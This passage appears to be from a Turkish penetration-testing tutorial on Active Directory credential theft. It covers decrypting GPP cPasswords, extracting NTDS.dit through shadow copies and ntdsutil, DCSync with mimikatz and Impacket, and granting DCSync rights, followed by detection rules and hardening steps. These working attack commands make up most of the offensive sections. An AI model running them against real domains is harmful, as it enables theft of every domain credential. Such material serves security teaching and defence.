python3 Get-GPPPassword.py corp.local/jdoe:'Password123'@10.10.10.10
# PowerSploit ile (eski ama hâlâ işe yarar)
Get-GPPPassword
Get-GPPAutologon
# Python ile manuel decrypt (AES CBC, public key!)
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
# Microsoft'ın yayınladığı AES anahtarı (32 byte)
key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
def decrypt_gpp_password(cpassword):
# Base64 padding düzelt
padding = len(cpassword) % 4
if padding:
cpassword += '=' * (4 - padding)
decoded = base64.b64decode(cpassword)
# AES-256-CBC, IV = 0
iv = b'\x00' * 16
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(decoded), 16)
return decrypted.decode('utf-16-le')
# GPP XML'den cPassword değerini alın ve decrypt edin
cpassword = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw+srsIA"
print(decrypt_gpp_password(cpassword))
6.1 GPP Güvenlik Açığının Kapsamı
GPP aracılığıyla şifre içerebilecek XML dosya türleri:
- Groups.xml: Yerel grup üyelikleri ve şifreler
- Services.xml: Windows servis yapılandırmaları
- Scheduledtasks.xml: Zamanlanmış görev kimlik bilgileri
- Datasources.xml: Veritabanı bağlantı bilgileri
- Printers.xml: Yazıcı kimlik bilgileri
- Drives.xml: Sürücü bağlantısı kimlik bilgileri
7. NTDS.dit Extraction (Domain Hash Çıkarma)
NTDS.dit, Active Directory'nin ana veritabanıdır. Domain Controller'da C:\Windows\NTDS\ntds.dit konumunda bulunur ve tüm domain kullanıcı hesaplarının NT hash'lerini içerir. Bu dosyayı ele geçirmek, tüm domain'in kimlik bilgilerini elde etmek anlamına gelir.
7.1 VSS ile NTDS.dit Kopyalama
# DC'de SYSTEM yetkisiyle VSS snapshot oluştur
vssadmin create shadow /for=C:
# Shadow copy yolunu bul
vssadmin list shadows
# NTDS ve SYSTEM'i kopyala
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
# Snapshot'ı temizle
vssadmin delete shadows /shadow:{GUID} /quiet
# Hash çıkarma
python3 secretsdump.py -ntds C:\temp\ntds.dit -system C:\temp\SYSTEM.hive LOCAL -outputfile hashes
# Çıktı formatları
python3 secretsdump.py ... -outputfile hashes # her format için ayrı dosya oluşturur
# hashes.ntds: kullanıcı:UID:LMhash:NThash:::
# hashes.ntds.kerberos: Kerberos anahtarları
# hashes.ntds.cleartext: cleartext şifreler (varsa)
7.2 DCSync (Uzaktan, Ağ Üzerinden)
DCSync, gerçek bir NTDS.dit dosyası kopyalamaya gerek kalmadan DC'nin replikasyon protokolünü (DRSUAPI) kullanarak hash çekme tekniğidir. Avantajı: DC'ye fiziksel erişim gerekmez, sadece ağ erişimi ve uygun haklar yeterlidir.
Gerekli haklar: DS-Replication-Get-Changes ve DS-Replication-Get-Changes-All (varsayılan olarak Domain Admins ve Domain Controllers'da)
# mimikatz DCSync
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /user:krbtgt # Golden Ticket için!
lsadump::dcsync /domain:corp.local /all /csv # tüm hash'ler CSV formatında
# Impacket ile
python3 secretsdump.py corp.local/administrator:'Password123'@DC01.corp.local -just-dc
python3 secretsdump.py -hashes :NT_HASH administrator@DC01.corp.local -just-dc-ntlm
# CrackMapExec ile
crackmapexec smb DC01.corp.local -u administrator -p 'Password123' --ntds
# DCSync hakları ver (domain admin gerektirmez, sadece delege edilebilir)
# PowerView ile
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe -Rights DCSync
7.3 ntdsutil ile (LOLBin)
# ntdsutil — Windows'a yerleşik Active Directory yönetim aracı
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds_backup" "quit" "quit"
# Bu komut C:\temp\ntds_backup\ altında:
# Active Directory\ntds.dit
# registry\SYSTEM
# dosyalarını oluşturur
# Hash çıkarma
python3 secretsdump.py -ntds "C:\temp\ntds_backup\Active Directory\ntds.dit" -system "C:\temp\ntds_backup\registry\SYSTEM" LOCAL
8. OPSEC Değerlendirmesi ve Tespit Rehberi
8.1 Kritik Windows Olay Kimlikleri
- Event 4611: Güvenilir bir oturum açma süreci LSASS'a kaydedildi
- Event 4625: Başarısız oturum açma girişimi
- Event 4661: SAM, NTDS veya SECURITY nesnesine handle açıldı
- Event 4662: Active Directory nesnesinde işlem yapıldı (DCSync için kritik)
- Event 4688: Yeni process oluşturuldu (mimikatz.exe tespiti)
- Event 4698/4699: Zamanlanmış görev oluşturuldu/silindi
- Sysmon Event 10: ProcessAccess — lsass.exe'ye handle açma tespiti
- Sysmon Event 11: FileCreate — .dmp dosyası oluşturma
- Sysmon Event 12/13: RegistryEvent — WDigest registry değişikliği
8.2 Sysmon Konfigürasyonu (LSASS Koruması)
<!-- sysmonconfig.xml -- lsass process access tespiti -->
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
</ProcessAccess>
<!-- Sonuç: her LSASS handle açılışı Event 10 olarak loglanır -->
<!-- KorelasyonKural: çok sayıda Event 10 = credential dump girişimi -->
8.3 LSASS Erişim Tespiti (KQL — Microsoft Sentinel)
// LSASS Memory Access Detection
SecurityEvent
| where EventID == 10 // Sysmon ProcessAccess
| where TargetImage contains "lsass.exe"
| where not(InitiatingProcessName in~ ("svchost.exe", "wininit.exe", "csrss.exe"))
| project TimeGenerated, Computer, InitiatingProcessName, InitiatingProcessCommandLine, TargetImage, GrantedAccess
| order by TimeGenerated desc
// DCSync Detection (Event 4662)
SecurityEvent
| where EventID == 4662
| where Properties has "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" // DS-Replication-Get-Changes-All
or Properties has "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2"
| where SubjectUserName != "DOMAIN_CONTROLLER$"
| project TimeGenerated, Computer, SubjectUserName, ObjectName, Properties
9. Savunma Önlemleri
9.1 LSASS Koruması
# PPL (Protected Process Light) etkinleştir
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# Credential Guard GPO yolu:
# Computer Configuration > Administrative Templates > System >
# Device Guard > Turn On Virtualization Based Security
# + Credential Guard Configuration: Enable with UEFI lock
# WDigest'i devre dışı bırak (zaten kapalı olmalı, zorla kapat)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f
9.2 Audit Policy
# Gelişmiş denetim politikası yapılandırması
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
auditpol /set /subcategory:"Security Account Manager" /success:enable
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
# Sysmon kurulumu (SwiftOnSecurity config)
# https://github.com/SwiftOnSecurity/sysmon-config
sysmon.exe -accepteula -i sysmonconfig.xml
9.3 GPP Temizliği
# SYSVOL'da GPP şifrelerini tara
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml
# Bulunan XML dosyalarından cPassword alanlarını temizle
# Bulunan hesapların şifrelerini değiştir
# MS14-025 patch zaten uygulanmış olmalı — kontrol et:
wmic qfe get HotFixID | findstr KB2962486
9.4 DPAPI Güvenlik Hardening
- Domain backup key'i düzenli olarak değiştirin (en az yılda bir)
- Kritik sırları DPAPI yerine HSM veya Azure Key Vault'a taşıyın
- DCSync hakları için Privileged Identity Management (PIM) kullanın
- Microsoft Defender for Identity (MDI) ile DCSync ve Golden Ticket tespiti yapın
- Tier model uygulayın: Domain Admin hesapları sadece DC'de kullanılsın
10. Referanslar ve Kaynaklar
- Benjamin Delpy (gentilkiwi): mimikatz — github.com/gentilkiwi/mimikatz
- SpecterOps: SharpDPAPI, SharpChrome — github.com/GhostPack
- Impacket (SecureAuth): secretsdump.py, dpapi.py — github.com/fortra/impacket
- MITRE ATT&CK: T1003 OS Credential Dumping — attack.mitre.org
- MS14-025: GPP Credentials Advisory — Microsoft Security
- harmj0y: DPAPI Primer — blog.harmj0y.net
- Mark Russinovich: ProcDump, Sysinternals Suite
- gentilkiwi: DPAPI avec domaine — mimikatz wiki
- Active Directory Security Testing: The Complete Attacker's Perspective
- Kerberos Protocol Internals: Tickets, PAC, and the Security Implications
- AD Certificate Services Deep Dive: ESC1 to ESC8 Attack Paths
- BloodHound CE for Defensive AD Analysis: Attack Path Management
- Windows Credential Access: LSASS, DPAPI, SAM, and Browser Secrets
Frequently Asked Questions
What is LSASS and why do attackers target it?
LSASS (Local Security Authority Subsystem Service) caches the credentials of logged-on users in memory — NTLM hashes, Kerberos tickets and sometimes plaintext. Attackers dump its memory with tools like Mimikatz, comsvcs.dll or nanodump to harvest credentials for lateral movement.
How does DPAPI protect Windows secrets?
The Data Protection API derives per-user master keys from the user's password (with a domain backup key) to encrypt browser passwords, cookies, Wi-Fi keys and Credential Manager entries. An attacker who obtains the user's password or the domain DPAPI backup key can decrypt all of it offline.
How are modern Chrome passwords decrypted?
Chrome encrypts credentials with an AES-256-GCM key that is itself DPAPI-protected under the user profile. With code execution in the user's context (or their DPAPI master key), an attacker extracts the AES key from Local State and decrypts the Login Data SQLite database.
How do defenders detect credential access?
Enable LSASS as a Protected Process Light (PPL) and turn on Credential Guard, monitor suspicious handle opens to lsass.exe (Sysmon event 10), watch for SAM/SECURITY hive access and shadow-copy creation, and alert on known dumping-tool signatures.